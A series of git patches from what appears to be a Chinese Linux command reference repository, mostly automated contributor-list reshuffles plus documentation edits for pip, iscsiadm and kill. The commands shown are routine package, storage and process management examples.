+你可以使用以下命令查看当前环境中已安装的所有包及其版本： + +```bash +pip list +``` + +## 导出和导入依赖关系 + +使用 `pip freeze` 命令可以将当前环境中的所有包及其版本导出到一个文本文件，通常命名为 `requirements.txt`： + +```bash +pip freeze > requirements.txt +``` + +要在另一个环境中安装相同的依赖，可以使用以下命令： + +```bash +pip install -r requirements.txt +``` + +## 安装特定版本的包 + +如果需要安装特定版本的包，可以在包名后面添加版本号： + +```bash +pip install package_name==1.2.3 +``` + +## 搜索包 + +要搜索可用的 Python 包，可以使用 `pip search` 命令： + +```bash +pip search package_name +``` + +## 安装开发版本 + +有时你可能需要安装包的开发版本。通常，开发版本存储在版本控制系统中（如 GitHub）： + +```bash +pip install git+https://github.com/user/repo.git +``` + +这将安装存储库的最新版本。 + +以上是一些常用的 Pip 命令，希望这个简要教程能够帮助你更好地使用 Python 包管理工具。 + +## 官网 +更多安装使用方法可以访问官网学习：[https://pypi.org/project/pip/](https://pypi.org/project/pip/) diff --git a/template/contributors.ejs b/template/contributors.ejs index 08c2b67443e..54fd4ad6f4f 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -24,23 +24,20 @@ clay-wangzhi - - Glett + + 烟草的香味 项金 - - 烟草的香味 - - - Jayin Tang + + Glett 丛林意志 - - Zijing Zhang + + Jayin Tang Fubin Zhang @@ -48,6 +45,9 @@ __FresHmaN + + Zijing Zhang + ernest @@ -66,6 +66,9 @@ lavaicer + + Shan Chenyu + SteveLauC @@ -75,14 +78,14 @@ James Wang - - Qliangw + + alfred Wang Jianing - - alfred + + Qliangw 沙漠之子 @@ -96,29 +99,32 @@ wVVaTT - - Pan, Wen-Ming + + BingCoke Ein Verne - - BingCoke + + Pan, Wen-Ming RichardLCD - - Xingwen Zhang + + gggwvg - - Xrtero + + Dazhuangw YH - - Dazhuangw + + Xrtero + + + Xingwen Zhang shc @@ -132,6 +138,9 @@ oliver + + 黑&蛋 + noodles2hg @@ -177,9 +186,6 @@ ghy - - gggwvg - gesty @@ -201,9 +207,6 @@ dayday - - 黑&蛋 - Panthea Johnson @@ -288,8 +291,8 @@ snovey - - Rocher + + cxalc Robigus @@ -372,9 +375,6 @@ Alan - - cxalc - Forever121 @@ -444,9 +444,6 @@ Azolla - - Shan Chenyu - SevenSteven @@ -455,6 +452,9 @@ 殇 + + + Rocher

From b351889e2712bb1e3601d4d8fbe1d5f465d17d40 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 16 Jan 2024 11:09:29 +0000 Subject: [PATCH 0811/1019] doc: update README.md. --- README.md | 40 ++++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/README.md b/README.md index 92ee465465b..d1c94fdd8f2 100644 --- a/README.md +++ b/README.md @@ -387,20 +387,23 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 clay-wangzhi - - 烟草的香味 + + Glett 项金 - - Glett + + 烟草的香味 + + + Jayin Tang 丛林意志 - - Jayin Tang + + Zijing Zhang Fubin Zhang @@ -408,9 +411,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 __FresHmaN - - Zijing Zhang - ernest @@ -429,9 +429,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 lavaicer - - Shan Chenyu - SteveLauC @@ -489,9 +486,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xingwen Zhang - - shc - sfwwslm @@ -501,12 +495,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 oliver - - 黑&蛋 - noodles2hg + + shc + myliwenbo @@ -570,6 +564,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday + + Rocher + + + 黑&蛋 + Panthea Johnson @@ -654,8 +654,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - cxalc + + Robigus Robigus From 26abc181dfb3cc54d0a61ce8fdc241dba90591a0 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 16 Jan 2024 11:09:30 +0000 Subject: [PATCH 0812/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 40 +++++++++++++++++++-------------------- 1 file changed, 20 insertions(+), 20 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 54fd4ad6f4f..8890a24a4f6 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -24,20 +24,23 @@ clay-wangzhi - - 烟草的香味 + + Glett 项金 - - Glett + + 烟草的香味 + + + Jayin Tang 丛林意志 - - Jayin Tang + + Zijing Zhang Fubin Zhang @@ -45,9 +48,6 @@ __FresHmaN - - Zijing Zhang - ernest @@ -66,9 +66,6 @@ lavaicer - - Shan Chenyu - SteveLauC @@ -126,9 +123,6 @@ Xingwen Zhang - - shc - sfwwslm @@ -138,12 +132,12 @@ oliver - - 黑&蛋 - noodles2hg + + shc + myliwenbo @@ -207,6 +201,12 @@ dayday + + Rocher + + + 黑&蛋 + Panthea Johnson @@ -291,8 +291,8 @@ snovey - - cxalc + + Robigus Robigus From aecf818c55aa9e6245d849d7d59f1148874e4de8 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 16 Jan 2024 19:17:35 +0800 Subject: [PATCH 0813/1019] doc: update command/pip.md #556 --- command/pip.md | 141 ++++++++++++++++++++++++++++--------------------- 1 file changed, 82 insertions(+), 59 deletions(-) diff --git a/command/pip.md b/command/pip.md index 281c0b5f335..a2157fb7582 100644 --- a/command/pip.md +++ b/command/pip.md @@ -1,64 +1,72 @@ pip === -Python的库管理工具。 - - -``` -用法： - pip <命令> [选项] - -命令： - install 安装包。 - download 下载包。 - uninstall 卸载包。 - freeze 以requirements格式输出已安装的包。 - inspect 检查 Python 环境。 - list 列出已安装的包。 - show 显示有关已安装包的信息。 - check 验证已安装的包是否具有兼容的依赖关系。 - config 管理本地和全局配置。 - search 在 PyPI 搜索包。 - cache 检查和管理 pip 的wheel缓存。 - index 检查从软件包索引中获取的信息。 - wheel 从你的要求构建wheels。 - hash 计算包存档的哈希值。 - completion 用于命令完成的辅助命令。 - debug 显示用于调试的有用信息。 - help 显示命令的帮助信息。 - -通用选项： - -h, --help 显示帮助。 - --debug 允许未处理的异常传播到主要子例程之外，而不是将其记录到stderr。 - --isolated 在隔离模式下运行 pip，忽略环境变量和用户配置。 - --require-virtualenv 允许 pip 仅在虚拟环境中运行；否则退出并显示错误。 - --python 使用指定的 Python 解释器运行 pip。 - -v, --verbose 提供更多输出。该选项是可叠加的，最多可使用3次。 - -V, --version 显示版本并退出。 - -q, --quiet 提供更少的输出。该选项是可叠加的，最多可使用3次（对应 WARNING、ERROR 和 CRITICAL 日志级别）。 - --log 要附加日志的路径。 - --no-input 禁用输入提示。 - --keyring-provider - 如果允许用户输入，则启用通过 keyring 库进行凭据查找。指定要使用的机制[disabled, import, subprocess]。（默认: disabled） - --proxy 指定代理，格式为 scheme://[user:passwd@]proxy.server:port。 - --retries 每个连接应尝试的最大次数（默认5次）。 - --timeout 设置套接字超时（默认15秒）。 - --exists-action 当路径已经存在时的默认操作：(s)切换，(i)忽略，(w)擦除，(b)备份，(a)中止。 - --trusted-host 将此主机或主机:端口对标记为可信，即使它没有有效或任何 HTTPS。 - --cert PEM编码的CA证书包的路径。如果提供，将覆盖默认值。有关更多信息，请参阅 pip 文档中的 'SSL证书验证'。 - --client-cert SSL客户端证书的路径，一个包含私钥和PEM格式的证书的单个文件。 - --cache-dir

在 中存储缓存数据。 - --no-cache-dir 禁用缓存。 - --disable-pip-version-check - 不定期检查 PyPI 是否有可下载的 pip 新版本。与 --no-index 隐含。 - --no-color 抑制有色输出。 - --no-python-version-warning - 对即将不受支持的 Python 沉默弃用警告。 - --use-feature 启用可能不向后兼容的新功能。 - --use-deprecated 启用在将来将被删除的已弃用功能。 -``` - -## 安装 +Python 编程语言中的包管理器，用于安装和管理第三方 Python 模块 + +## 语法 + +```bash +pip <命令> [选项] +``` + +## 选项 + +命令 + +```bash +install 安装包。 +download 下载包。 +uninstall 卸载包。 +freeze 以requirements格式输出已安装的包。 +inspect 检查 Python 环境。 +list 列出已安装的包。 +show 显示有关已安装包的信息。 +check 验证已安装的包是否具有兼容的依赖关系。 +config 管理本地和全局配置。 +search 在 PyPI 搜索包。 +cache 检查和管理 pip 的wheel缓存。 +index 检查从软件包索引中获取的信息。 +wheel 从你的要求构建wheels。 +hash 计算包存档的哈希值。 +completion 用于命令完成的辅助命令。 +debug 显示用于调试的有用信息。 +help 显示命令的帮助信息。 +``` + +通用选项 + +```bash +-h, --help 显示帮助。 +--debug 允许未处理的异常传播到主要子例程之外，而不是将其记录到stderr。 +--isolated 在隔离模式下运行 pip，忽略环境变量和用户配置。 +--require-virtualenv 允许 pip 仅在虚拟环境中运行；否则退出并显示错误。 +--python 使用指定的 Python 解释器运行 pip。 +-v, --verbose 提供更多输出。该选项是可叠加的，最多可使用3次。 +-V, --version 显示版本并退出。 +-q, --quiet 提供更少的输出。该选项是可叠加的，最多可使用3次（对应 WARNING、ERROR 和 CRITICAL 日志级别）。 +--log 要附加日志的路径。 +--no-input 禁用输入提示。 +--keyring-provider + 如果允许用户输入，则启用通过 keyring 库进行凭据查找。指定要使用的机制[disabled, import, subprocess]。（默认: disabled） +--proxy 指定代理，格式为 scheme://[user:passwd@]proxy.server:port。 +--retries 每个连接应尝试的最大次数（默认5次）。 +--timeout 设置套接字超时（默认15秒）。 +--exists-action 当路径已经存在时的默认操作：(s)切换，(i)忽略，(w)擦除，(b)备份，(a)中止。 +--trusted-host 将此主机或主机:端口对标记为可信，即使它没有有效或任何 HTTPS。 +--cert PEM编码的CA证书包的路径。如果提供，将覆盖默认值。有关更多信息，请参阅 pip 文档中的 'SSL证书验证'。 +--client-cert SSL客户端证书的路径，一个包含私钥和PEM格式的证书的单个文件。 +--cache-dir 在 中存储缓存数据。 +--no-cache-dir 禁用缓存。 +--disable-pip-version-check + 不定期检查 PyPI 是否有可下载的 pip 新版本。与 --no-index 隐含。 +--no-color 抑制有色输出。 +--no-python-version-warning + 对即将不受支持的 Python 沉默弃用警告。 +--use-feature 启用可能不向后兼容的新功能。 +--use-deprecated 启用在将来将被删除的已弃用功能。 +``` + +### 安装 Pip 是 Python 的包管理工具，通常随着 Python 的安装一起安装。确保你的 Python 版本是 3.4 或更高版本。 @@ -66,16 +74,30 @@ Pip 是 Python 的包管理工具，通常随着 Python 的安装一起安装。 # Ubuntu系统 sudo apt install python3-pip ``` -```badh + +```bash # CentOS sudo yum install python3-pip ``` + 如果需要更新 Pip，可以运行以下命令： ```bash python -m pip install --upgrade pip ``` +检查 `pip` 是否已安装 + +```bash +pip --version +``` + +确保您使用的是最新版本的 `pip`，您可以运行以下命令来**升级** + +```bash +python -m pip install --upgrade pip +``` + ## 安装包 通过 Pip 安装 Python 包非常简单。使用以下命令： @@ -155,4 +177,5 @@ pip install git+https://github.com/user/repo.git 以上是一些常用的 Pip 命令，希望这个简要教程能够帮助你更好地使用 Python 包管理工具。 ## 官网 + 更多安装使用方法可以访问官网学习：[https://pypi.org/project/pip/](https://pypi.org/project/pip/) From 985fb037f1bcdc79b9c0966f5c8072333b18705d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 16 Jan 2024 11:18:14 +0000 Subject: [PATCH 0814/1019] doc: update README.md. --- README.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/README.md b/README.md index d1c94fdd8f2..e7fae63a217 100644 --- a/README.md +++ b/README.md @@ -657,9 +657,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Robigus - - Robigus - Rining Wu @@ -738,6 +735,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Alan + + cxalc + Forever121 @@ -807,6 +807,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Azolla + + Shan Chenyu + SevenSteven @@ -815,9 +818,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 殇 - - - Rocher 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From a655e4a432e9ab4b7348bcdee8edb57c29ebc015 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 16 Jan 2024 11:18:15 +0000 Subject: [PATCH 0815/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 8890a24a4f6..ca18d626239 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -294,9 +294,6 @@ Robigus - - Robigus - Rining Wu @@ -375,6 +372,9 @@ Alan + + cxalc + Forever121 @@ -444,6 +444,9 @@ Azolla + + Shan Chenyu + SevenSteven @@ -452,9 +455,6 @@ 殇 - - - Rocher

From 75def39e1335a04782e9f2e3047dbb7e4e758ba3 Mon Sep 17 00:00:00 2001 From: Azroy <73465351+Azroys@users.noreply.github.com> Date: Tue, 23 Jan 2024 19:35:43 +0800 Subject: [PATCH 0816/1019] feat: add `iscsiadm` (#558) --- command/iscsiadm | 98 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 command/iscsiadm diff --git a/command/iscsiadm b/command/iscsiadm new file mode 100644 index 00000000000..e76471cafab --- /dev/null +++ b/command/iscsiadm @@ -0,0 +1,98 @@ +iscsiadm +=== + +管理iSCSI连接 + +## 补充说明 + +**iscsiadm命令** 用于管理 iSCSI（Internet Small Computer System Interface）存储连接。iSCSI 是一种基于网络的存储协议，允许在计算机之间传输块级别的数据。iscsiadm 命令提供了与 iSCSI 存储设备进行连接、配置和管理的功能。 +```shell +yum install iscsi-initiator-utils #安装iscsiadm +/etc/iscsi/initiatorname.iscsi #iscsi启动器名称配置文件位置 +systemctl enable iscsi #设置服务开机启动 +systemctl enable iscsid +systemctl restart iscsi #重启iscsi服务 +systemctl restart iscsid +``` + +### 语法 + +```shell +iscsiadm [选项] <命令> <参数> +``` + +### 选项 + +```shell +-m，--mode # <模式> 指定工作模式，如discovery（发现模式）、node（管理节点）、session（管理会话）、discoverydb、host、iface（管理 iSCSI 网络接口）； +-t，--type # 指定类型，如sendtargets (或st)、isns、fw，仅用于discovery模式； +-T，--targetname # 指定目标名称，仅用于node模式； +-p，--portal # 指定目标IP,不带端口默认使用3260，仅用于discovery、node模式； +-l，--login # 登录一个iSCSI设备，仅用于discovery、node模式； +-u，--logout # 退出一个iSCSI设备，仅用于node、session模式； +-I，--interface # 指定用于iSCSI操作的网络接口； +-P，--print # <0-4> 打印详细，用于discovery、node、session模式； +-s，--stats # 查看会话状态 +-h，--help # 显示帮助； +-V，--version # 显示版本信息。 +``` + +### 实例 + +发送iSCSI发现请求，并列出发现的iSCSI设备目标器： + +```shell +[root@Azroy-s1 ~]# iscsiadm -m discovery -t st -p 10.10.10.10 +10.10.10.10:3260,1 iqn.2000-01.com.synology:NAS.default-target.1 +``` + +登录到发现的iSCSI目标器： + +```shell +[root@Azroy-s1 ~]# iscsiadm -m node -T iqn.2000-01.com.synology:NAS.target.1 -p 10.10.10.10 -l +Logging in to [iface: default, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] (multiple) +Login to [iface: default, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] successful. +``` + +查看已登录的设备： + +```shell +[root@Azroy-s1 ~]# iscsiadm -m session +tcp: [3] 10.10.10.10:3260,1 iqn.2000-01.com.synology:NAS.target.1 (non-flash) +``` + +退出已登录的设备： + +```shell +[root@Azroy-s1 ~]# iscsiadm -m node -T iqn.2000-01.com.synology:NAS.target.1 -p 10.10.10.10 -u +Logging out of session [sid: 11, target: iqn.2000-01.com.synology:NAS.target.1, portal: 10.10.10.10,3260] +或 +[root@Azroy-s1 ~]# iscsiadm -m session -u #退出所有iscsi会话 +``` + +使用lsblk或fdisk查看硬盘，对硬盘分区再格式化后可挂载目录 + +```shell +[root@Azroy-s1 ~]# lsblk +NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT +sda 8:0 0 1.8T 0 disk +├─sda1 8:1 0 1G 0 part /boot +└─sda2 8:2 0 1.8T 0 part + ├─centos-root 253:0 0 1.8T 0 lvm / + └─centos-swap 253:1 0 5.9G 0 lvm [SWAP] +sdb 8:32 0 10G 0 disk + +[root@Azroy-s1 ~]# lsblk -S /dev/sd* #可以查看硬盘传输类型 +NAME HCTL TYPE VENDOR MODEL REV TRAN +sda 0:1:0:0 disk HP LOGICAL VOLUME 3.00 sas +sdb 12:0:0:1 disk SYNOLOGY Storage 4.0 iscsi + +[root@Azroy-s1 ~]# fdisk -l /dev/sdb +磁盘 /dev/sdb：10.7 GB, 10737418240 字节，20971520 个扇区 +Units = 扇区 of 1 * 512 = 512 bytes +扇区大小(逻辑/物理)：512 字节 / 512 字节 +I/O 大小(最小/最佳)：512 字节 / 512 字节 +``` + + + From a58b859a4651bb4fd6cea8b08d9e737e4005975b Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Jan 2024 11:36:26 +0000 Subject: [PATCH 0817/1019] doc: update README.md. --- README.md | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/README.md b/README.md index e7fae63a217..5d798ffb701 100644 --- a/README.md +++ b/README.md @@ -459,6 +459,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 wVVaTT + + gggwvg + BingCoke @@ -471,9 +474,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 RichardLCD - - gggwvg - Dazhuangw @@ -486,6 +486,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Xingwen Zhang + + Shan Chenyu + + + shc + sfwwslm @@ -495,12 +501,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 oliver + + 黑&蛋 + noodles2hg - - shc - myliwenbo @@ -564,12 +570,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday - - Rocher - - - 黑&蛋 - Panthea Johnson @@ -654,6 +654,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey + + cxalc + Robigus @@ -735,9 +738,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Alan - - cxalc - Forever121 @@ -807,9 +807,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Azolla - - Shan Chenyu - SevenSteven @@ -818,6 +815,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 殇 + + + Rocher 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From fb3ad5ed6d6890421db85ca1c66e4637197a6978 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Jan 2024 11:36:26 +0000 Subject: [PATCH 0818/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 36 ++++++++++++++++++------------------ 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index ca18d626239..50e94aeec70 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -96,6 +96,9 @@ wVVaTT + + gggwvg + BingCoke @@ -108,9 +111,6 @@ RichardLCD - - gggwvg - Dazhuangw @@ -123,6 +123,12 @@ Xingwen Zhang + + Shan Chenyu + + + shc + sfwwslm @@ -132,12 +138,12 @@ oliver + + 黑&蛋 + noodles2hg - - shc - myliwenbo @@ -201,12 +207,6 @@ dayday - - Rocher - - - 黑&蛋 - Panthea Johnson @@ -291,6 +291,9 @@ snovey + + cxalc + Robigus @@ -372,9 +375,6 @@ Alan - - cxalc - Forever121 @@ -444,9 +444,6 @@ Azolla - - Shan Chenyu - SevenSteven @@ -455,6 +452,9 @@ 殇 + + + Rocher

From e45c112315c5fededfc10e3a824208f4117485ee Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 23 Jan 2024 19:45:08 +0800 Subject: [PATCH 0819/1019] fix: renmae iscsiadm file name. #558 --- command/{iscsiadm => iscsiadm.md} | 6 +++--- command/kill.md | 1 + 2 files changed, 4 insertions(+), 3 deletions(-) rename command/{iscsiadm => iscsiadm.md} (99%) diff --git a/command/iscsiadm b/command/iscsiadm.md similarity index 99% rename from command/iscsiadm rename to command/iscsiadm.md index e76471cafab..642674f8b8f 100644 --- a/command/iscsiadm +++ b/command/iscsiadm.md @@ -15,13 +15,13 @@ systemctl restart iscsi #重启iscsi服务 systemctl restart iscsid ``` -### 语法 +## 语法 ```shell iscsiadm [选项] <命令> <参数> ``` -### 选项 +## 选项 ```shell -m，--mode # <模式> 指定工作模式，如discovery（发现模式）、node（管理节点）、session（管理会话）、discoverydb、host、iface（管理 iSCSI 网络接口）； @@ -37,7 +37,7 @@ iscsiadm [选项] <命令> <参数> -V，--version # 显示版本信息。 ``` -### 实例 +## 实例 发送iSCSI发现请求，并列出发现的iSCSI设备目标器： diff --git a/command/kill.md b/command/kill.md index 6ed87ecc371..851b28c7767 100644 --- a/command/kill.md +++ b/command/kill.md @@ -185,6 +185,7 @@ name：使用此名称调用的所有进程将接收信号。 3. 与`kill`命令类似的有`xkill`，`pkill`,`killall`等，用于不同的目的和场景。 #### 参考链接 + [发送信号到进程](https://bash.cyberciti.biz/guide/Sending_signal_to_Processes) From f437beb6b772bd0807f594c61f5582958008914a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Jan 2024 11:45:51 +0000 Subject: [PATCH 0820/1019] doc: update README.md. --- README.md | 41 ++++++++++++++++++++++------------------- 1 file changed, 22 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index 5d798ffb701..03a611682c9 100644 --- a/README.md +++ b/README.md @@ -438,14 +438,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 James Wang - - alfred + + Qliangw Wang Jianing - - Qliangw + + alfred 沙漠之子 @@ -462,14 +462,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 gggwvg - - BingCoke + + Pan, Wen-Ming Ein Verne - - Pan, Wen-Ming + + BingCoke RichardLCD @@ -489,9 +489,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Shan Chenyu - - shc - sfwwslm @@ -501,8 +498,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 oliver - - 黑&蛋 + + shc noodles2hg @@ -570,6 +567,12 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday + + Robigus + + + 黑&蛋 + Panthea Johnson @@ -654,12 +657,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey - - cxalc - - - Robigus - Rining Wu @@ -735,9 +732,15 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 DaYangtuo247 + + Azroy + Alan + + cxalc + Forever121 From 0d3c492a811f102b303b8c60355818713919adf3 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 23 Jan 2024 11:45:51 +0000 Subject: [PATCH 0821/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 41 +++++++++++++++++++++------------------ 1 file changed, 22 insertions(+), 19 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 50e94aeec70..d22b9c5d995 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -75,14 +75,14 @@ James Wang - - alfred + + Qliangw Wang Jianing - - Qliangw + + alfred 沙漠之子 @@ -99,14 +99,14 @@ gggwvg - - BingCoke + + Pan, Wen-Ming Ein Verne - - Pan, Wen-Ming + + BingCoke RichardLCD @@ -126,9 +126,6 @@ Shan Chenyu - - shc - sfwwslm @@ -138,8 +135,8 @@ oliver - - 黑&蛋 + + shc noodles2hg @@ -207,6 +204,12 @@ dayday + + Robigus + + + 黑&蛋 + Panthea Johnson @@ -291,12 +294,6 @@ snovey - - cxalc - - - Robigus - Rining Wu @@ -372,9 +369,15 @@ DaYangtuo247 + + Azroy + Alan + + cxalc + Forever121 From c87b83bc57963b6027410a306452e7700fdf9f44 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 23 Jan 2024 19:46:18 +0800 Subject: [PATCH 0822/1019] doc: update command/kill.md --- command/kill.md | 30 +++++++++++++++--------------- 1 file changed, 15 insertions(+), 15 deletions(-) diff --git a/command/kill.md b/command/kill.md index 851b28c7767..f542d66586b 100644 --- a/command/kill.md +++ b/command/kill.md @@ -10,19 +10,19 @@ kill ## 内建命令 -#### 概要 +### 概要 ```shell kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... kill -l [sigspec] ``` -#### 主要用途 +### 主要用途 - 发送信号到作业或进程（可以为多个）。 - 列出信号。 -#### 选项 +### 选项 ```shell -s sig 信号名称。 @@ -31,17 +31,17 @@ kill -l [sigspec] -L 等价于-l选项。 ``` -#### 参数 +### 参数 pid：进程ID jobspec：作业标识符 -#### 返回值 +### 返回值 返回状态为成功除非给出了非法选项、执行出现错误。 -#### 例子 +### 例子 ```shell [user2@pc] kill -l 9 @@ -110,7 +110,7 @@ STOP 19 暂停（同 Ctrl + Z） [1]+ 181537 Running sleep 90 & ``` -#### 注意 +### 注意 1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。 2. 该命令是bash内建命令，相关的帮助信息请查看`help`命令。 @@ -118,20 +118,20 @@ STOP 19 暂停（同 Ctrl + Z） ## 外部命令 -#### 概要 +### 概要 ```shell kill [-signal|-s signal|-p] [-q value] [-a] [--] pid|name... kill -l [number] | -L ``` -#### 主要用途 +### 主要用途 - 发送信号到进程（可以为多个）。 - 列出信号。 -#### 选项 +### 选项 ```shell -s, --signal signal 要发送的信号，可能是信号名称或信号对应的数字。 @@ -147,7 +147,7 @@ kill -l [number] | -L --version 显示版本信息并退出。 ``` -#### 参数 +### 参数 接收信号的进程列表可以是PID以及name的混合组成。 @@ -162,7 +162,7 @@ n | 当n大于0时，PID为n的进程接收信号。 name：使用此名称调用的所有进程将接收信号。 -#### 例子 +### 例子 ```shell > sleep 20 & @@ -172,19 +172,19 @@ name：使用此名称调用的所有进程将接收信号。 23021 ``` -#### 返回值 +### 返回值 - 0 成功。 - 1 失败。 - 64 部分成功（当指定了多个进程时）。 -#### 注意 +### 注意 1. 该命令是`GNU coreutils`包中的命令，相关的帮助信息请查看`man -s 1 kill`或`info coreutils 'kill invocation'`。 2. 启动或关闭内建命令请查看`enable`命令，关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。 3. 与`kill`命令类似的有`xkill`，`pkill`,`killall`等，用于不同的目的和场景。 -#### 参考链接 +## 参考链接 [发送信号到进程](https://bash.cyberciti.biz/guide/Sending_signal_to_Processes) From 7f87da9eed1d98fa21615ddb435327157157039c Mon Sep 17 00:00:00 2001 From: miniwater <1456441157@qq.com> Date: Tue, 30 Jan 2024 15:00:54 +0800 Subject: [PATCH 0823/1019] fix: rename hcitool to hcitool.md (#559) Fix file suffix exception --- command/{hcitool => hcitool.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename command/{hcitool => hcitool.md} (100%) diff --git a/command/hcitool b/command/hcitool.md similarity index 100% rename from command/hcitool rename to command/hcitool.md From aa9e85ff2d2f05163953079907cc9689a3ffe283 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 30 Jan 2024 07:01:23 +0000 Subject: [PATCH 0824/1019] doc: update README.md. --- README.md | 25 ++++++++++++++----------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index 03a611682c9..b7be960c454 100644 --- a/README.md +++ b/README.md @@ -438,14 +438,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 James Wang - - Qliangw + + alfred Wang Jianing - - alfred + + Qliangw 沙漠之子 @@ -462,14 +462,14 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 gggwvg - - Pan, Wen-Ming + + BingCoke Ein Verne - - BingCoke + + Pan, Wen-Ming RichardLCD @@ -504,6 +504,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 noodles2hg + + miniwater + myliwenbo @@ -567,9 +570,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 dayday - - Robigus - 黑&蛋 @@ -657,6 +657,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 snovey + + Robigus + Rining Wu From a2f8efe17a107171d499cac3c2a801acc09a404a Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 30 Jan 2024 07:01:23 +0000 Subject: [PATCH 0825/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 25 ++++++++++++++----------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index d22b9c5d995..ff0d5f0b06c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -75,14 +75,14 @@ James Wang - - Qliangw + + alfred Wang Jianing - - alfred + + Qliangw 沙漠之子 @@ -99,14 +99,14 @@ gggwvg - - Pan, Wen-Ming + + BingCoke Ein Verne - - BingCoke + + Pan, Wen-Ming RichardLCD @@ -141,6 +141,9 @@ noodles2hg + + miniwater + myliwenbo @@ -204,9 +207,6 @@ dayday - - Robigus - 黑&蛋 @@ -294,6 +294,9 @@ snovey + + Robigus + Rining Wu From aff91bcaf8343a33dfc9df15eaeb30fb63c05eb6 Mon Sep 17 00:00:00 2001 From: alterem Date: Fri, 23 Feb 2024 13:54:05 +0800 Subject: [PATCH 0826/1019] doc: update command/docker.md (#563) MIME-Version: 1.0 Content-Type: text/plain; 